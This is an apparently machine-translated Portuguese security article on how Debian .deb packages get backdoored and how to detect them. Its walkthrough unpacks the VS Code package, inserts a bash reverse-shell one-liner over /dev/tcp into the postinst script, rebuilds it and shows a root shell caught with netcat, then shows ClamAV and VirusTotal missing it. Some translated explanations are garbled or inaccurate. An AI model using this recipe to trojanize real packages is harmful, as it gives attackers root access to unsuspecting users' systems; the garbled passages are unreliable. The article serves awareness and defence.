Contents

Como os pacotes DEB são backdoored e como detectá-los

Key Takeaways

Actores potencialmente nefastos podem explorar os repositórios de pacotes Debian introduzindo sub-repticiamente software prejudicial no sistema de um utilizador através do processo de instalação enquanto utilizam privilégios elevados.

Detetar ficheiros de pacotes Debian infectados pode ser um desafio devido à sua potencial evasão de deteção por programas antivírus e plataformas baseadas na nuvem tais como o VirusTotal.

Para se proteger, é aconselhável abster-se de obter pacotes DEB a partir de fontes desconhecidas, em vez disso opte por plataformas de distribuição autorizadas ou websites que tenham sido endossados por uma comunidade de confiança. Adicionalmente, a implementação de medidas de segurança no sistema operativo Linux pode ajudar a mitigar potenciais ameaças colocadas por ciberataques.

Os ficheiros DEB representam uma forma predominante de entrega de software para sistemas operativos Linux baseados em Debian, servindo como formato de empacotamento standard para distribuir aplicações dentro destas plataformas.

Para distribuir ficheiros Debian Package (DEB), é necessário utilizar uma ferramenta de gestão de pacotes, como o dpkg, com privilégios administrativos. No entanto, os cibercriminosos exploram esta vulnerabilidade incorporando pontos de acesso não autorizados dentro destes pacotes, que consequentemente são executados aquando da instalação através do dpkg ou de outro instalador de software comparável. Esta tática leva a potenciais falhas na estrutura de segurança do sistema informático.

Vamos nos aprofundar nas complexidades das vulnerabilidades de backdoor presentes nos pacotes DEB e examinar as medidas que podem ser tomadas para se proteger de ameaças potenciais.

Como os pacotes DEB são backdoors?

Vamos primeiro mergulhar nos meandros dos Repositórios de Pacotes Debian (DEB) antes de expor a sua suscetibilidade a vulnerabilidades backdoor. Para ilustrar este conceito, vamos utilizar o omnipresente pacote DEB do Microsoft Visual Studio Code obtido diretamente do estimado website da Microsoft como o nosso ponto de referência. O mesmo pacote que os entusiastas do Linux em todo o mundo utilizam quando instalam o Visual Studio Code nos seus respectivos sistemas.

Descarregar: Visual Studio Code

/pt/images/vscode-download-page.jpeg

Para extrair o conteúdo de um pacote DEB utilizando o utilitário dpkg-deb, pode-se empregar o sinalizador “-R” em conjunto com o caminho do diretório onde os arquivos extraídos devem ser armazenados.A sintaxe para esta operação assemelhar-se-ia ao seguinte:cssdpkg-deb -R [DEPENDENCY_PATH] [TARGET_FILENAME]

 dpkg-deb -R <package_name> <path> 

Uma forma possível de articular esta afirmação de uma forma mais refinada seria a seguinte: “Esta ação destina-se a obter o conteúdo contido no pacote de softwareVS Code.

/pt/images/extracting-and-moving-into-the-debian-folder.jpeg

Ao aceder à pasta designada, descobrirá uma multiplicidade de subdirectórios. No entanto, é pertinente notar que apenas nos interessa a diretoria “DEBIAN” dentro da referida pasta. Esse diretório aloja uma série de scripts de manutenção que são executados após a instalação e possuem permissões elevadas, especificamente as do utilizador raiz. Não é de surpreender que os actores maliciosos sejam conhecidos por manipular estes mesmos scripts para os seus fins nefastos.

Permitam-me que refine a linguagem para vós. O exemplo em questão envolve a alteração do script de pós-instalação e a incorporação de uma shell TCP inversa conveniente como um comando Bash de uma linha. De acordo com a sua nomenclatura, este script é acionado após a instalação do pacote de software no sistema.

O script acima mencionado engloba directivas para estabelecer vários aspectos da configuração, incluindo o estabelecimento de ligações simbólicas e a gestão de dependências. Uma miríade de soluções alternativas de shell reversa está disponível online, com muitas exibindo funcionalidades similares. Por exemplo, um exemplo ilustrativo de um exploit de reverse shell pode ser executado usando o seguinte comando:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Explicação do comando:

A execução da shell Bash é iniciada por meio deste comando.

A presença do sinalizador faz com que o Bash opere de forma interactiva, permitindo a entrada e saída imediata de comandos.

O comando “<&/dev/tcp/ip/port:” redireccionou tanto a saída padrão como o erro padrão para uma tomada de rede, criando efetivamente uma ligação TCP com o endereço IP “ip” na porta “port”.

O comando redirecciona tanto a entrada padrão como a saída padrão para serem enviadas através de uma tomada de rede, especificando um endereço e um número de porta, resultando na transmissão de todos os dados a partir do ponto final especificado.

As pessoas que não estão familiarizadas com o conceito podem entender uma reverse shell como um subconjunto particular de linguagem de programação ou script que, após a implantação no sistema pretendido, estabelece um canal de comunicação seguro entre o host comprometido e o computador do atacante.O aspeto vantajoso da utilização desta técnica reside na sua capacidade de contornar as medidas de segurança de rede convencionais, como as firewalls, uma vez que o fluxo de dados tem origem no interior do perímetro protegido, em vez de tentar penetrar no mesmo a partir do exterior.

Aqui está o aspeto do script modificado:

/pt/images/adding-the-reverse-shell-code-to-postinst-script.jpeg

De facto, parece que todos os aspectos permanecem inalterados, exceto a inclusão da nossa implementação da shell reversível. De modo a reconstruir o ficheiro de pacote “.deb” acima mencionado, pode empregar o comando “dpkg” acompanhado da bandeira “-b” e especificando o caminho do diretório pertinente, ou alternativamente utilizar o utilitário “dpkg-deb” em conjunto com a bandeira “-b” seguida do caminho especificado dos componentes extraídos.

 dpkg --build <directory>
dpkg-deb -b <directory> 

/pt/images/building-the-malicios-package.jpeg

No caso de um utilizador ter adquirido com sucesso o pacote DEB comprometido a partir de uma fonte ilícita, e subsequentemente o ter instalado no seu dispositivo informático de acordo com o protocolo padrão, vamos agora proceder a uma situação hipotética para efeitos de análise.

O painel superior representa a perspetiva do alvo, que está a executar o processo de instalação utilizando o comando “sudo dpkg -i” num sistema Linux. Por outro lado, o painel inferior retrata o ponto de vista do agressor, que está a monitorizar diligentemente a comunicação recebida através do comando “netcat”.

/pt/images/attack-scenario-demo.jpeg

Após a conclusão do processo de instalação, é importante notar que o atacante ganha uma ligação reverse shell que lhe concede acesso root ao sistema comprometido. Isto demonstra um método pelo qual os pacotes Debian podem ser explorados através de técnicas de backdoor. É crucial compreender estas vulnerabilidades de modo a tomar as medidas apropriadas para proteção contra tais ataques.

Como Detetar se um Pacote DEB é Malicioso

À luz do conhecimento de que existem Arquivos de Pacotes Debian (DEB) comprometidos, pode-se perguntar como identificar tais instâncias. Para começar, uma opção é utilizar software antivírus para sistemas Linux, como o ClamAV. No entanto, ao realizar uma verificação do ClamAV no pacote em questão, não foi detectada nenhuma indicação de intenção maliciosa. Os resultados do processo de verificação são fornecidos abaixo:

/pt/images/clamscan-results.jpeg

De facto, a utilização de um programa antivírus de topo não garante a impenetrabilidade contra ciberataques. Consequentemente, identificar ficheiros .deb malévolos pode ser um desafio. Uma alternativa é a utilização de um serviço baseado na nuvem, como a plataforma VirusTotal, para melhorar as capacidades de deteção.

/pt/images/virustotal-detection-results.jpeg

De facto, com base nos resultados obtidos do VirusTotal, não parece haver quaisquer actividades maliciosas significativas associadas ao código fornecido. De forma a mitigar os potenciais riscos colocados por ameaças semelhantes, recomenda-se que os utilizadores adiram a práticas fundamentais de cibersegurança, incluindo a abstenção de descarregar conteúdos de fontes não confiáveis, a verificação consistente da integridade dos ficheiros descarregados através de análise de hash e a abstenção geral de instalar aplicações de software suspeitas.

Para mitigar os potenciais riscos associados à navegação online, é crucial ter cuidado ao navegar em sítios Web desconhecidos e garantir que apenas se visitam domínios com boa reputação. Além disso, quando se utiliza um sistema operativo Linux, a obtenção de aplicações sob a forma de AppImages pode revelar-se vantajosa, uma vez que estes pacotes estão fechados em si mesmos e podem ser isolados da interação direta com o sistema anfitrião, proporcionando assim uma camada adicional de segurança.

Não descarregue pacotes DEB de sítios aleatórios!

Embora os ficheiros de Pacotes Debian em si não sejam intrinsecamente nefastos, existe um risco prevalecente de que possam ser explorados por cibercriminosos que os podem manipular e distribuir de forma enganadora a utilizadores finais desprevenidos. De facto, não é preciso ir mais longe do que a facilidade de modificar estes pacotes usando apenas um punhado de comandos para inserir código malicioso, o que tem demonstrado ser um método frequente utilizado pelos hackers para propagar o seu software nocivo.

Vale a pena notar que mesmo vulnerabilidades rudimentares de backdoor em pacotes Debian muitas vezes evitam a deteção pelos principais programas antivírus. Consequentemente, é prudente ter cuidado enquanto navega na internet e restringir os downloads de software apenas a fontes verificadas tais como sites de fabricantes ou plataformas de terceiros de confiança.

Proteja o seu PC Linux instalando ferramentas de segurança

Resultados do pós-processamento para inglês simples:Tendo reconhecido os potenciais perigos associados à implementação de pacotes DEB a partir de fontes desconhecidas, é crucial ter cuidado ao instalar novas aplicações. No entanto, a mera vigilância na seleção de programas para instalação pode não ser suficiente. Além disso, o seu sistema operativo Linux também pode ser vítima de ciberataques através de redes.

Para se proteger de potenciais ameaças cibernéticas, é altamente recomendável implementar soluções de segurança de rede no seu sistema.